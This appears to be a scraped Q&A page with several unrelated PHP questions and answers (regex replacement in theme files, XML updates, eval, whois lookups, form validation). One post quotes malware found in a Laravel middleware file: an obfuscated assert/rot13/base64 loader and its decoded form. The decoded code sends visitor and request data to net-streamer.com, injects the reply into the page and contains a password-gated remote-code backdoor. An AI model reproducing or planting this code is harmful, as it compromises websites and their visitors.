I am trying to replace some pieces of codes in different theme files using the below function, however, I am stuck with the second part of the function where I want to replace some PHP code which contains a single quote.
When I run the function, the only part changes is the first part.
function update_GTour_theme_files()
{
$new_update = file_get_contents("/home/tourieuw/public_html/wp-content/themes/grandtour/header.php");
$new_update = preg_replace('/\$page_menu_transparent = 1/', '\$page_menu_transparent = 0', $new_update);
$new_update = preg_replace('/\$grandtour_page_menu_transparent = 1/', '\$grandtour_page_menu_transparent = 0', $new_update);
if (file_put_contents("/home/tourieuw/public_html/wp-content/themes/grandtour/header.php", $new_update)) {
$errpass = TRUE;
} else {
$errmsg = "Header.php was not updated";
$errpass = FALSE;
}
$new_update_2 = file_get_contents("/home/tourieuw/public_html/wp-content/themes/grandtour/templates/template-tour-header.php");
$new_update_2 = preg_replace('/(esc_html(grandtour_format_tour_price($tour_price)))/', '\'From \'.esc_html(grandtour_format_tour_price($tour_price)', $new_update_2);
if (file_put_contents("/home/tourieuw/public_html/wp-content/themes/grandtour/templates/template-tour-header.php", $new_update_2)) {
$errpass = TRUE;
} else {
$errmsg = "template-tour-header.php was not updated";
$errpass = FALSE;
}
if ($errpass = TRUE) {
echo '</br><span style="color:green;font-weight:bold;">Changes were applied successfully.</span>';
} else {
echo '</br><span style="color:red;font-weight:bold;">' . $errmsg . '</span>';
}
}
I am expecting when running this function that both variables in two files will be replaced with this code
Related
I'm trying to update XML element text based upon a form submission. It is a userdatabase and im using the user's password as a reference to update their user id. The passwords all all unique so I thought it would be an easy element to reference. However whenever I attempt to edit a UID it fails and sends me to my error page I created if the function fails. Im not sure where I went wrong any assistance would be great.
Update UID Function
function updateUID($pass, $file, $new)
{
$xml = new DOMDocument();
$xml->load($file);
$record = $xml->getElementsByTagName('UniqueLogin');
foreach ($record as $person) {
$password_id = $person->getElementsByTagName('Password')->item(0)->nodeValue;
//$person_name=$person->getElementsByTagName('name')->item(0)->nodeValue;
if ($password_id == $password) {
$id_matched = true;
$updated = $xml->createTextNode($new);
$person->parentNode->replaceChild($person, $updated);
break;
}
}
if ($id_matched == true) {
if ($xml->save($file)) {
return true;
}
}
}
Code that calls the function
session_start();
include_once "includes/functions.inc.php";
include_once "includes/jdbh.inc.php";
include_once "includes/dbh.inc.php";
include_once "includes/ftpconn2.inc.php";
$file = $_SESSION['fileNameXML'];
if (file_exists($file)) {
if (isset($_POST['submit'])) {
$pass = $_POST['id'];
//$uid = $_SESSION['userid'];
$new = $_POST['uid'];
//$entry = getUsername($jconn, $uid)." deleted a server ban for".$name;
//if (isset($_GET['confirm'])) {
if (updateUID($pass, $file, $new)) {
//createLogEntry($conn, $uid, $entry);
if (1 < 2) { //This is intentional to get around the $message varible below that is not required.
$message = $affectedRow . " records inserted";
try {
$ftp_connection = ftp_connect($ftp_server);
if (false === $ftp_connection) {
throw new Exception("Unable to connect");
}
$loggedIn = ftp_login($ftp_connection, $ftp_user, $ftp_password);
if (true === $loggedIn) {
//echo "Success!";
} else {
throw new Exception('unable to log in');
}
$local_file1 = "HostSecurity.xml";
$remote_file1 = "HostSecurity.xml";
if (ftp_put($ftp_connection, $local_file1, $remote_file1, FTP_BINARY)) {
//echo "Successfully written to $local_file\n";
} else {
echo "There was a problem";
}
ftp_close($ftp_connection);
header("location: ../serverPasswords.php");
}
catch (Exception $e) {
echo "Failure:" . $e->getMessage();
}
}
header("location: ../serverPasswords.php");
} else {
header("location: ../serverPasswords.php?e=UIDNPD");
}
} else {
echo "id missing";
}
} else {
echo "$file missing";
}
<Unique_Logins>
<UniqueLogin>
<UID>AA23GHRDS657FGGRSF126</UID>
<Password>iMs0Az2Zqh</Password>
</UniqueLogin>
<UniqueLogin>
<UID>AA23GSDGFHJKDS483FGGRSF126</UID>
<Password>Ab7wz77kM</Password>
</UniqueLogin>
</Unique_Logins>
I believe the issue was caused by the undeclared variable $password in the logic test and the fact that the function never returns an alternative value if things go wrong.
As per the comment regarding XPath - perhaps the following might be of interest.
<?php
$pass='xiMs0Az2Zqh';
$file='logins.xml';
$new='banana';
function updateUID( $pass=false, $file=false, $new=false ){
if( $pass & $file & $new ){
$dom = new DOMDocument();
$dom->load( $file );
# attempt to match the password with this XPath expression
$expr=sprintf( '//Unique_Logins/UniqueLogin/Password[ contains(.,"%s") ]', $pass );
$xp=new DOMXPath( $dom );
$col=$xp->query( $expr );
# We have a match, change the UID ( & return a Truthy value )
if( $col && $col->length===1 ){
$xp->query('UID', $col->item(0)->parentNode )->item(0)->nodeValue=$new;
return $dom->save( $file );
}
}
# otherwise return false
return false;
}
$res=updateUID( $pass, $file, $new );
if( $res ){
echo 'excellent';
}else{
echo 'bogus';
}
?>
I'm still not clear on exactly what's wrong, but if I understand you correctly, try making these changes in your code and see if it works:
#just some dummy values
$oldPass = "Ab7wz77kM";
$newUid = "whatever";
$record = $xml->getElementsByTagName('UniqueLogin');
foreach ($record as $person) {
$password_id = $person->getElementsByTagName('Password');
$user_id = $person->getElementsByTagName('UID');
if ($password_id[0]->nodeValue == $oldPass) {
$user_id[0]->nodeValue = $newUid;
}
}
I'm looking for a way to include or require the content of a variable, instead of a file.
Normally, one can require/include a php function file with either of these:
require_once('my1stphpfunctionfile.php')
include('my2ndphpfunctionfile.php');
Suppose I wanted to do something like this:
$contentOf1stFFile = file_get_contents('/tmp/my1stphpfunctionfile.php');
$contentOf2ndFFile = file_get_contents('/tmp/my2ndphpfunctionfile.php');
require_once($contentOf1stFFile);
require_once($contentOf2ndFFile);
Now, in the above example, I have the actual function files which I am loading into variables. In the real world scenario I'm actually dealing with, the php code in the function files are not stored in files. They're in variables. So I'm looking for a way to treat those variables as include/require treats the function files.
I'm new to php so please forgive these questions if you find them foolish. What I'm attempting to do here does not appear to be possible. What I ended up doing was using eval which I'm told is very dangerous and should be avoided:
eval("?>$contentOf1stFFile");
eval("?>$contentOf2ndFFile");
Content of $contentOf1stFFile:
# class_lookup.php
<?php
class Lookup_whois {
// Domain name which we want to lookup
var $domain;
// TLD for above domain, eg. 'com', 'net', etc...
var $tld;
// Array which contains information needed to parse the whois server response
var $tld_params;
// Sets to error code if something fails
var $error_code;
// Sets user-friendly error message if something goes wrong
var $error_message;
// For internal use mainly - raw response from the whois server
var $whois_raw_output;
function Lookup_whois($domain, $tld, $tld_params) {
$this->domain = $domain;
$this->tld = $tld;
$this->tld_params = $tld_params;
}
function check_domain_spelling() {
if (preg_match("/^([A-Za-z0-9]+(\-?[A-za-z0-9]*)){2,63}$/", $this->domain)) {
return true;
} else {
return false;
}
}
function get_whois_output() {
if (isset($this->tld_params[$this->tld]['parameter'])) {
$query = $this->tld_params[$this->tld]['parameter'].$this->domain.'.'.$this->tld;
} else {
$query = $this->domain.'.'.$this->tld;
}
$server = $this->tld_params[$this->tld]['whois'];
if (!$this->check_domain_spelling()) {
$this->error_message = 'Domain name is not correct, check spelling. Only numbers, letters and hyphens are allowed';
return false;
}
if (!$server) {
$this->error_message = 'Whois server name is empty, please check the config file';
return false;
}
$output = array();
$fp = fsockopen($server, 43, $errno, $errstr, 30);
if(!$fp) {
$this->error_code = $errno;
$this->error_message = $errstr;
fclose($fp);
return false;
} else {
sleep(2);
fputs($fp, $query . "\n");
while(!feof($fp)) {
$output[] = fgets($fp, 128);
}
fclose($fp);
$this->whois_raw_output = $output;
return true;
}
}
function parse_whois_data() {
if (!is_array($this->whois_raw_output) && Count($this->whois_raw_output) < 1) {
$this->error_message = 'No output to parse... Get data first';
return false;
}
$wait_for = 0;
$result = array();
$result['domain'] = $this->domain.'.'.$this->tld;
foreach ($this->whois_raw_output as $line) {
#if (ereg($this->tld_params[$this->tld]['wait_for'], $line)) {
if (preg_match($this->tld_params[$this->tld]['wait_for'],$line)) {
$wait_for = 1;
}
if ($wait_for == 1) {
foreach ($this->tld_params[$this->tld]['info'] as $key => $value) {
$regs = '';
if (ereg($value.'(.*)', $line, $regs)) {
if (key_exists($key, $result)) {
if (!is_array($result[$key])) {
$result[$key] = array($result[$key]);
}
$result[$key][] = trim($regs[1]);
} else {
$result[$key] = trim($regs[1]);
$i = 1;
}
}
}
}
}
return $result;
}
}
?>
Are there any other alternatives?
No there are no other alternatives.
In terms of security there is no difference if you include() a file or eval() the content. It depends on the context. As long as you only run your own code there is nothing "dangerous".
Why strpos PHP not work with fsockopen response ?
When load this code. This code will be requests sdgsgsdgsfsdfsd.ca to whois.cira.ca server and find text Domain status: available with strpos PHP if found it's will be echo
{"domain":"sdgsgsdgsfsdfsdca","availability":"available"}
but if not found text. It's will be echo
{"domain":"sdgsgsdgsfsdfsdca","availability":"TAKEN"}
In this case found text but still echo
{"domain":"sdgsgsdgsfsdfsdca","availability":"TAKEN"}
How can i do ?
<?php
$server = "whois.cira.ca";
$response = "Domain status: available";
showDomainResult(sdgsgsdgsfsdfsd.ca,$server,$response);
function checkDomain($domain_check,$server,$findText)
{
$con = fsockopen($server, 43);
if (!$con) return false;
fputs($con, $domain_check."\r\n");
$response = ' :';
while(!feof($con))
{
$response .= fgets($con,128);
}
echo $response."<BR><BR><BR><BR><BR>";
fclose($con);
if (strpos($response, $findText))
{
return true;
}
else
{
return false;
}
}
function showDomainResult($domain_check,$server,$findText)
{
if (checkDomain($domain_check,$server,$findText))
{
class Emp
{
public $domain = "";
public $availability = "";
}
$e = new Emp();
$e->domain = $domain_check;
$e->availability = "available";
echo json_encode($e);
}
else
{
class Emp
{
public $domain = "";
public $availability = "";
}
$e = new Emp();
$e->domain = $domain_check;
$e->availability = "TAKEN";
echo json_encode($e);
}
}
?>
you're using strpos wrong, if the string START with what you're searching for, it will return int(0), which is "kinda false" by PHP's definition. explicitly check for false, like this
return false!==strpos($response, $findText);
and make sure you're using !== not !=
and as a rule of thumb, never use loose comparison operators in PHP if you can avoid it, hilarious bugs can occur if you do: https://3v4l.org/tT4l8
I was doing a project for a client. After a few days of finishing and uploading on the server, my client showed me errors occurring. When I checked the files I found a extra piece of code added in CheckForMaintenanceMode.php file inside
vendor/laravel/framework/illuminate/foundation/http/middleware
which is
//###==###
error_reporting(0);
$strings = "as";$strings .= "sert";
#$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8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U19"));'));
//###==###
After some basic decoding I found the following code written
if (isset($ibv))
{
echo $ibv;
}
else
{
if(!empty($_COOKIE["client_check"]))die($_COOKIE["client_check"]);
if(!isset($c_["HTTP_ACCEPT_CHARSET"]))
{
$temp = dirname(__FILE__)."/ch";$charset = file_get_contents($temp);
if (!$charset && !isset($_GET["charset"]))
{
$str = file_get_contents("http://".$_SERVER["HTTP_HOST"]."/?charset=1");
if(preg_match("/windows-1251/i", $str)){$charset = "windows-1251";
}
elseif(preg_match("/utf-8/i", $str))
{
$charset = "utf-8";
}
else
{
$charset = "windows-1251";
}
$handle = fopen($temp, "w+");
fwrite($handle, $charset);
fclose($handle);
}
else
{
$charset = "utf-8";
}
$c0 = $charset;
}
else
{
$c0=$c_["HTTP_ACCEPT_CHARSET"];
}
if(function_exists("curl_init"))
{
$c1=curl_init("http://net-streamer.com/get.php?d=".urlencode($_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"])."&u=".urlencode($_SERVER["HTTP_USER_AGENT"])."&c=".$c0."&i=1&ip=".$_SERVER["REMOTE_ADDR"]."&h=".md5("069a5edfc9e75c4abf03b0608636fe46".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"].$_SERVER["HTTP_USER_AGENT"].$c0."1"));
curl_setopt($c1,42,false);
curl_setopt($c1,19913,true);
$ibv = curl_exec($c1);
curl_close($c1);
}
elseif(ini_get("allow_url_fopen")==1)
{
$ibv = file_get_contents("http://net-streamer.com/get.php?d=".urlencode($_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"])."&u=".urlencode($_SERVER["HTTP_USER_AGENT"])."&c=".$c0."&i=1&ip=".$_SERVER["REMOTE_ADDR"]."&h=".md5("069a5edfc9e75c4abf03b0608636fe46".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"].$_SERVER["HTTP_USER_AGENT"].$c0."1"));
}
if (isset($ibv))
{
echo $ibv;
}
if(isset($_REQUEST["p"]) && $_REQUEST["p"] == "85bc6cfb")
{
#assert($_REQUEST["c"]);
}
}
But I do not understand what it does and why is it there. I also saw same type code added inside public/index.php.
Can some one please tell me why is it added and what it does?
I have a form in which I am using a preg_match function to validate fields. I have a generalized function for the matching. The function validateForm() is being called earlier on in the script with the appropriate values.
When the function is NOT passed any values, all the fields show the error message despite having correctly matching information. Generalized function with no arguments:
function validateForm() {
if(preg_match()) {
return true;
}
else {
return false;
}
} // end function validateForm
When I pass just ONE specific regex/field pair argument, all the fields begin to validate and show the error message when appropriate (so basically the code works as it should despite having a field-specific argument in the function). For example, when I pass this single regex/field argument into preg_match, all the fields begin to validate each field correctly, regardless of the fact that I am only checking for the 'City' field in this case. Example of passing a field-specific argument, in which all the code 'works':
function validateForm($cityRegex, $city) {
if(preg_match($cityRegex, $city)) {
return true;
}
else {
return false;
}
} // end function validateForm
Can someone explain to me why, when passed a specific argument for a specific field, the function will work for all individual preg_match arguments in the code? The script is running as I would want it to, I just do not understand why the specific argument is what makes it validate all fields.
Here is all of the PHP code, if needed:
<?php
$first = '';
$last = '';
$phone = '';
$city = '';
$state = '';
$error_message = '';
$firstLastRegex = '/^[a-zA-Z]{2,15}$/';
$lastRegex = '/^[a-zA-Z]{2,15}$/';
$phoneRegex = '/^(\(\d{3}\))(\d{3}\-)(\d{4})$/';
$cityRegex = '/^[a-zA-Z]{3,20}$/';
$stateRegex = '/^[a-zA-Z]{2}$/';
$validate_first = '';
$validate_last = '';
$validate_phone = '';
$validate_city = '';
$validate_state = '';
$phone_string = '';
if(isset($_POST['submit'])) {
$first = $_POST['firstName'];
$last = $_POST['lastName'];
$phone = $_POST['phoneNumber'];
$city = $_POST['userCity'];
$state = $_POST['userState'];
$show_form = false;
$phone_string = str_replace(array('-', '(', ')'), '', $phone);
$validate_first = validateForm($firstLastRegex, $first);
$validate_last = validateForm($lastRegex, $last);
$validate_phone = validateForm($phoneRegex, $phone);
$validate_city = validateForm($cityRegex, $city);
$validate_state = validateForm($stateRegex, $state);
if($validate_first == false) {
$show_form = true;
$error_message .= "Please enter your FIRST name between 2 and 15 letters.<br>";
}
if($validate_last == false) {
$show_form = true;
$error_message .= "Please enter your LAST name between 2 and 15 letters.<br>";
}
if($validate_phone == false) {
$show_form = true;
$error_message .= "Please enter your phone number in (###)###-### format.<br>";
}
if($validate_city == false) {
$show_form = true;
$error_message .= "Please enter your city name between 3 and 20 letters.<br>";
}
if($validate_state == false) {
$show_form = true;
$error_message .= "Please enter your state's abbreviation (Example: CA).<br>";
}
} // end if isset();
else {
$show_form = true;
$error_message = "";
} // end else
// REGEX FUNCTION
function validateForm() {
if(preg_match()) {
return true;
}
else {
return false;
}
} // end function validateForm
?>
You still need to have arguments for you function. The code below will make your validate function work.
function validateForm($regEx, $field) {
if(preg_match($regEx, $field)) {
return true;
}
else {
return false;
}
} // end function validateForm
I also see other potential issues with not checking if post variables are set before using them, and you are setting $show_form = true for all your if/else cases. I'm sure you can figure everything else out with some debug statements.